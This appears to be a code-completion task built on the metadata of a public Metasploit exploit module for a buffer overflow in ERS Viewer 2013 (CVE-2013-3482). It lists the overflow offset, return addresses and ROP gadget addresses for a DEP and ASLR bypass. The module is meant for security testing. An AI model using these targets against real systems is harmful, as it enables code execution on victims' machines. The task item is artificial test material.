You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: erdas_er_viewer_rf_report_error.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/fileformat
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Egghunter

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ERS Viewer 2013 ERS File Handling Buffer Overflow",
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability found in ERS Viewer 2013.
        The vulnerability exists in the module ermapper_u.dll, where the function
        rf_report_error handles user provided data in an insecure way. It results in
        arbitrary code execution under the context of the user viewing a specially crafted
        .ers file. This module has 
    
  def initialize(info={})
    super(update_info(info,
      'Name'           => "ERS Viewer 2013 ERS File Handling Buffer Overflow",
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability found in ERS Viewer 2013.
        The vulnerability exists in the module ermapper_u.dll, where the function
        rf_report_error handles user provided data in an insecure way. It results in
        arbitrary code execution under the context of the user viewing a specially crafted
        .ers file. This module has been tested successfully with ERS Viewer 2013 (versions
        13.0.0.1151) on Windows XP SP3 and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'James Fitts', # Vulnerability Discovery
          'juan vazquez' # Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2013-3482' ],
          [ 'OSVDB', '93650' ],
          [ 'URL', 'http://web.archive.org/web/20130609135637/http://secunia.com:80/advisories/53620' ]
        ],
      'Payload'        =>
        {
          'Space'    => 4000,
          'DisableNops' => true,
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Tested on Windows XP SP3
          [ 'ERS Viewer 2013 13.0.0.1151 / NO DEP / NO ASLR',
            {
              'Offset' => 191,
              'Ret' => 0x100329E9 # jmp eax # from ermapper_u.dll
            }
          ],
          # Tested on Windows XP SP3 and Windows 7 SP1
          [ 'ERS Viewer 2013 13.0.0.1151 / DEP & ASLR bypass',
            {
              'Offset' => 191,
              'Ret' => 0x100E1152,     # xchg eax, esp # ret # from ermapper_u.dll
              'RetNull' => 0x30d07f00, # ret ending with null byte # from ethrlib.dll
              'VirtualAllocPtr' => 0x1010c0f4
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "May 23 2013",
      'DefaultTarget'  => 1))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.ers']),
      ])

  end